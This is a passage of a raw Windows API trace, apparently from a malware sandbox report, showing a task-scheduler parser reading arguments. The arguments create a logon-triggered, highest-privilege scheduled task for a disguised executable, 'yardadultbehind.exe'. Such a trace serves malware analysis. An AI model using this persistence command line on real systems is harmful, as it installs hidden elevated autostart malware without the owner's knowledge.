2 [0161.816] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.816] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|?|") returned 3 [0161.816] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.816] lstrlenW (lpString="|?|") returned 3 [0161.816] lstrlenW (lpString="|sc|") returned 4 [0161.816] SetLastError (dwErrCode=0x490) [0161.816] lstrlenW (lpString="create") returned 6 [0161.816] lstrlenW (lpString="create") returned 6 [0161.816] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.816] lstrlenW (lpString="sc") returned 2 [0161.816] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.816] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.816] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.817] lstrlenW (lpString="|create|") returned 8 [0161.817] lstrlenW (lpString="|sc|") returned 4 [0161.817] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0161.817] SetLastError (dwErrCode=0x490) [0161.817] lstrlenW (lpString="delete") returned 6 [0161.817] lstrlenW (lpString="delete") returned 6 [0161.817] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.817] lstrlenW (lpString="sc") returned 2 [0161.817] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.817] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|delete|") returned 8 [0161.817] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.817] lstrlenW (lpString="|delete|") returned 8 [0161.817] lstrlenW (lpString="|sc|") returned 4 [0161.817] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0161.817] SetLastError (dwErrCode=0x490) [0161.817] lstrlenW (lpString="query") returned 5 [0161.817] lstrlenW (lpString="query") returned 5 [0161.817] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.817] lstrlenW (lpString="sc") returned 2 [0161.817] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.817] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|query|") returned 7 [0161.817] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.817] lstrlenW (lpString="|query|") returned 7 [0161.817] lstrlenW (lpString="|sc|") returned 4 [0161.817] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0161.817] SetLastError (dwErrCode=0x490) [0161.817] lstrlenW (lpString="change") returned 6 [0161.818] lstrlenW (lpString="change") returned 6 [0161.818] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.818] lstrlenW (lpString="sc") returned 2 [0161.818] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.818] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|change|") returned 8 [0161.818] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.818] lstrlenW (lpString="|change|") returned 8 [0161.818] lstrlenW (lpString="|sc|") returned 4 [0161.818] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0161.818] SetLastError (dwErrCode=0x490) [0161.818] lstrlenW (lpString="run") returned 3 [0161.818] lstrlenW (lpString="run") returned 3 [0161.818] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.818] lstrlenW (lpString="sc") returned 2 [0161.818] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.818] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|run|") returned 5 [0161.818] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.818] lstrlenW (lpString="|run|") returned 5 [0161.818] lstrlenW (lpString="|sc|") returned 4 [0161.818] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0161.818] SetLastError (dwErrCode=0x490) [0161.818] lstrlenW (lpString="end") returned 3 [0161.818] lstrlenW (lpString="end") returned 3 [0161.818] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.818] lstrlenW (lpString="sc") returned 2 [0161.818] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.819] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|end|") returned 5 [0161.819] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.819] lstrlenW (lpString="|end|") returned 5 [0161.819] lstrlenW (lpString="|sc|") returned 4 [0161.819] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0161.819] SetLastError (dwErrCode=0x490) [0161.819] lstrlenW (lpString="showsid") returned 7 [0161.819] lstrlenW (lpString="showsid") returned 7 [0161.819] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.819] lstrlenW (lpString="sc") returned 2 [0161.819] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.819] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|showsid|") returned 9 [0161.819] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|sc|") returned 4 [0161.819] lstrlenW (lpString="|showsid|") returned 9 [0161.819] lstrlenW (lpString="|sc|") returned 4 [0161.819] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0161.819] SetLastError (dwErrCode=0x490) [0161.819] SetLastError (dwErrCode=0x490) [0161.819] SetLastError (dwErrCode=0x0) [0161.819] lstrlenW (lpString="/sc") returned 3 [0161.819] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0161.819] SetLastError (dwErrCode=0x490) [0161.819] SetLastError (dwErrCode=0x0) [0161.819] lstrlenW (lpString="/sc") returned 3 [0161.819] GetProcessHeap () returned 0x140000 [0161.819] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c2c0 [0161.819] GetProcessHeap () returned 0x140000 [0161.819] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ccd0 [0161.820] SetLastError (dwErrCode=0x0) [0161.820] SetLastError (dwErrCode=0x0) [0161.820] lstrlenW (lpString="ONLOGON") returned 7 [0161.820] lstrlenW (lpString="-/") returned 2 [0161.820] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0161.820] SetLastError (dwErrCode=0x490) [0161.820] SetLastError (dwErrCode=0x490) [0161.820] SetLastError (dwErrCode=0x0) [0161.820] lstrlenW (lpString="ONLOGON") returned 7 [0161.820] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0161.820] SetLastError (dwErrCode=0x490) [0161.820] SetLastError (dwErrCode=0x0) [0161.820] lstrlenW (lpString="ONLOGON") returned 7 [0161.820] GetProcessHeap () returned 0x140000 [0161.820] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15c2e0 [0161.820] GetProcessHeap () returned 0x140000 [0161.820] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd00 [0161.820] SetLastError (dwErrCode=0x0) [0161.820] SetLastError (dwErrCode=0x0) [0161.820] lstrlenW (lpString="/tr") returned 3 [0161.820] lstrlenW (lpString="-/") returned 2 [0161.820] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.820] lstrlenW (lpString="?") returned 1 [0161.820] lstrlenW (lpString="?") returned 1 [0161.820] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.820] lstrlenW (lpString="tr") returned 2 [0161.820] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.820] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|?|") returned 3 [0161.820] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.821] lstrlenW (lpString="|?|") returned 3 [0161.821] lstrlenW (lpString="|tr|") returned 4 [0161.821] SetLastError (dwErrCode=0x490) [0161.821] lstrlenW (lpString="create") returned 6 [0161.821] lstrlenW (lpString="create") returned 6 [0161.821] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.821] lstrlenW (lpString="tr") returned 2 [0161.821] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.821] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.821] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.821] lstrlenW (lpString="|create|") returned 8 [0161.821] lstrlenW (lpString="|tr|") returned 4 [0161.821] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0161.821] SetLastError (dwErrCode=0x490) [0161.821] lstrlenW (lpString="delete") returned 6 [0161.821] lstrlenW (lpString="delete") returned 6 [0161.821] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.821] lstrlenW (lpString="tr") returned 2 [0161.821] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.821] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|delete|") returned 8 [0161.821] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.821] lstrlenW (lpString="|delete|") returned 8 [0161.821] lstrlenW (lpString="|tr|") returned 4 [0161.821] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0161.821] SetLastError (dwErrCode=0x490) [0161.821] lstrlenW (lpString="query") returned 5 [0161.821] lstrlenW (lpString="query") returned 5 [0161.822] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.822] lstrlenW (lpString="tr") returned 2 [0161.822] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.822] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|query|") returned 7 [0161.822] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.822] lstrlenW (lpString="|query|") returned 7 [0161.822] lstrlenW (lpString="|tr|") returned 4 [0161.822] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0161.822] SetLastError (dwErrCode=0x490) [0161.822] lstrlenW (lpString="change") returned 6 [0161.822] lstrlenW (lpString="change") returned 6 [0161.822] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.822] lstrlenW (lpString="tr") returned 2 [0161.822] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.822] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|change|") returned 8 [0161.822] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.822] lstrlenW (lpString="|change|") returned 8 [0161.822] lstrlenW (lpString="|tr|") returned 4 [0161.822] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0161.822] SetLastError (dwErrCode=0x490) [0161.822] lstrlenW (lpString="run") returned 3 [0161.822] lstrlenW (lpString="run") returned 3 [0161.822] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.822] lstrlenW (lpString="tr") returned 2 [0161.822] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.822] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|run|") returned 5 [0161.822] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.823] lstrlenW (lpString="|run|") returned 5 [0161.823] lstrlenW (lpString="|tr|") returned 4 [0161.823] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0161.823] SetLastError (dwErrCode=0x490) [0161.823] lstrlenW (lpString="end") returned 3 [0161.823] lstrlenW (lpString="end") returned 3 [0161.823] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.823] lstrlenW (lpString="tr") returned 2 [0161.823] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.823] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|end|") returned 5 [0161.823] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.823] lstrlenW (lpString="|end|") returned 5 [0161.823] lstrlenW (lpString="|tr|") returned 4 [0161.823] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0161.823] SetLastError (dwErrCode=0x490) [0161.823] lstrlenW (lpString="showsid") returned 7 [0161.823] lstrlenW (lpString="showsid") returned 7 [0161.823] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.823] lstrlenW (lpString="tr") returned 2 [0161.823] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.823] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|showsid|") returned 9 [0161.823] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|tr|") returned 4 [0161.823] lstrlenW (lpString="|showsid|") returned 9 [0161.823] lstrlenW (lpString="|tr|") returned 4 [0161.823] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0161.823] SetLastError (dwErrCode=0x490) [0161.824] SetLastError (dwErrCode=0x490) [0161.824] SetLastError (dwErrCode=0x0) [0161.824] lstrlenW (lpString="/tr") returned 3 [0161.824] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0161.824] SetLastError (dwErrCode=0x490) [0161.824] SetLastError (dwErrCode=0x0) [0161.824] lstrlenW (lpString="/tr") returned 3 [0161.824] GetProcessHeap () returned 0x140000 [0161.824] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c300 [0161.824] GetProcessHeap () returned 0x140000 [0161.824] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd30 [0161.824] SetLastError (dwErrCode=0x0) [0161.824] SetLastError (dwErrCode=0x0) [0161.824] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.824] lstrlenW (lpString="-/") returned 2 [0161.824] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.824] SetLastError (dwErrCode=0x490) [0161.824] SetLastError (dwErrCode=0x490) [0161.824] SetLastError (dwErrCode=0x0) [0161.824] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.824] StrChrIW (lpStart="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'", wMatch=0x3a) returned=":\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'" [0161.824] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.824] GetProcessHeap () returned 0x140000 [0161.824] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c320 [0161.824] _memicmp (_Buf1=0x15c320, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.824] GetProcessHeap () returned 0x140000 [0161.824] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15c340 [0161.825] GetProcessHeap () returned 0x140000 [0161.825] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c360 [0161.825] _memicmp (_Buf1=0x15c360, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.825] GetProcessHeap () returned 0x140000 [0161.825] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8a) returned 0x15c380 [0161.825] SetLastError (dwErrCode=0x7a) [0161.825] SetLastError (dwErrCode=0x0) [0161.825] SetLastError (dwErrCode=0x0) [0161.825] lstrlenW (lpString="'C") returned 2 [0161.825] lstrlenW (lpString="-/") returned 2 [0161.825] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0161.825] SetLastError (dwErrCode=0x490) [0161.825] SetLastError (dwErrCode=0x490) [0161.825] SetLastError (dwErrCode=0x0) [0161.825] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.825] GetProcessHeap () returned 0x140000 [0161.825] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x88) returned 0x15c420 [0161.825] GetProcessHeap () returned 0x140000 [0161.825] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd60 [0161.825] SetLastError (dwErrCode=0x0) [0161.825] SetLastError (dwErrCode=0x0) [0161.825] lstrlenW (lpString="/rl") returned 3 [0161.825] lstrlenW (lpString="-/") returned 2 [0161.825] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.825] lstrlenW (lpString="?") returned 1 [0161.825] lstrlenW (lpString="?") returned 1 [0161.825] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.825] lstrlenW (lpString="rl") returned 2 [0161.825] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.826] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|?|") returned 3 [0161.826] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.826] lstrlenW (lpString="|?|") returned 3 [0161.826] lstrlenW (lpString="|rl|") returned 4 [0161.826] SetLastError (dwErrCode=0x490) [0161.826] lstrlenW (lpString="create") returned 6 [0161.826] lstrlenW (lpString="create") returned 6 [0161.826] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.826] lstrlenW (lpString="rl") returned 2 [0161.826] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.826] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.826] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.826] lstrlenW (lpString="|create|") returned 8 [0161.826] lstrlenW (lpString="|rl|") returned 4 [0161.826] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0161.826] SetLastError (dwErrCode=0x490) [0161.826] lstrlenW (lpString="delete") returned 6 [0161.826] lstrlenW (lpString="delete") returned 6 [0161.826] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.826] lstrlenW (lpString="rl") returned 2 [0161.826] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.826] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|delete|") returned 8 [0161.826] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.826] lstrlenW (lpString="|delete|") returned 8 [0161.826] lstrlenW (lpString="|rl|") returned 4 [0161.827] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0161.827] SetLastError (dwErrCode=0x490) [0161.827] lstrlenW (lpString="query") returned 5 [0161.827] lstrlenW (lpString="query") returned 5 [0161.827] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.827] lstrlenW (lpString="rl") returned 2 [0161.827] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.827] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|query|") returned 7 [0161.827] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.827] lstrlenW (lpString="|query|") returned 7 [0161.827] lstrlenW (lpString="|rl|") returned 4 [0161.827] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0161.827] SetLastError (dwErrCode=0x490) [0161.827] lstrlenW (lpString="change") returned 6 [0161.827] lstrlenW (lpString="change") returned 6 [0161.827] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.827] lstrlenW (lpString="rl") returned 2 [0161.827] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.827] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|change|") returned 8 [0161.827] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.827] lstrlenW (lpString="|change|") returned 8 [0161.827] lstrlenW (lpString="|rl|") returned 4 [0161.827] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0161.827] SetLastError (dwErrCode=0x490) [0161.827] lstrlenW (lpString="run") returned 3 [0161.827] lstrlenW (lpString="run") returned 3 [0161.827] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.828] lstrlenW (lpString="rl") returned 2 [0161.828] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.828] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|run|") returned 5 [0161.828] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.828] lstrlenW (lpString="|run|") returned 5 [0161.828] lstrlenW (lpString="|rl|") returned 4 [0161.828] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0161.828] SetLastError (dwErrCode=0x490) [0161.828] lstrlenW (lpString="end") returned 3 [0161.828] lstrlenW (lpString="end") returned 3 [0161.828] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.828] lstrlenW (lpString="rl") returned 2 [0161.828] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.828] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|end|") returned 5 [0161.828] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.828] lstrlenW (lpString="|end|") returned 5 [0161.828] lstrlenW (lpString="|rl|") returned 4 [0161.828] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0161.828] SetLastError (dwErrCode=0x490) [0161.828] lstrlenW (lpString="showsid") returned 7 [0161.828] lstrlenW (lpString="showsid") returned 7 [0161.828] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.828] lstrlenW (lpString="rl") returned 2 [0161.828] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.828] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|showsid|") returned 9 [0161.829] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|rl|") returned 4 [0161.829] lstrlenW (lpString="|showsid|") returned 9 [0161.829] lstrlenW (lpString="|rl|") returned 4 [0161.829] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0161.829] SetLastError (dwErrCode=0x490) [0161.829] SetLastError (dwErrCode=0x490) [0161.829] SetLastError (dwErrCode=0x0) [0161.829] lstrlenW (lpString="/rl") returned 3 [0161.829] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0161.829] SetLastError (dwErrCode=0x490) [0161.829] SetLastError (dwErrCode=0x0) [0161.829] lstrlenW (lpString="/rl") returned 3 [0161.829] GetProcessHeap () returned 0x140000 [0161.829] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c4b0 [0161.829] GetProcessHeap () returned 0x140000 [0161.829] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd90 [0161.829] SetLastError (dwErrCode=0x0) [0161.829] SetLastError (dwErrCode=0x0) [0161.829] lstrlenW (lpString="HIGHEST") returned 7 [0161.829] lstrlenW (lpString="-/") returned 2 [0161.829] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0161.829] SetLastError (dwErrCode=0x490) [0161.829] SetLastError (dwErrCode=0x490) [0161.829] SetLastError (dwErrCode=0x0) [0161.829] lstrlenW (lpString="HIGHEST") returned 7 [0161.829] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0161.829] SetLastError (dwErrCode=0x490) [0161.829] SetLastError (dwErrCode=0x0) [0161.829] lstrlenW (lpString="HIGHEST") returned 7 [0161.829] GetProcessHeap () returned 0x140000 [0161.829] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d530 [0161.829] GetProcessHeap () returned 0x140000 [0161.829] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cdc0 [0161.830] SetLastError (dwErrCode=0x0) [0161.830] SetLastError (dwErrCode=0x0) [0161.830] lstrlenW (lpString="/f") returned 2 [0161.830] lstrlenW (lpString="-/") returned 2 [0161.830] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.830] lstrlenW (lpString="?") returned 1 [0161.830] lstrlenW (lpString="?") returned 1 [0161.830] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.830] lstrlenW (lpString="f") returned 1 [0161.830] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.830] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|?|") returned 3 [0161.830] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|f|") returned 3 [0161.830] lstrlenW (lpString="|?|") returned 3 [0161.830] lstrlenW (lpString="|f|") returned 3 [0161.830] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0161.830] SetLastError (dwErrCode=0x490) [0161.830] lstrlenW (lpString="create") returned 6 [0161.830] lstrlenW (lpString="create") returned 6 [0161.830] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.830] lstrlenW (lpString="f") returned 1 [0161.830] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.830] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff118 | out: _Buffer="|create|") returned 8 [0161.830] _vsnwprintf (in: 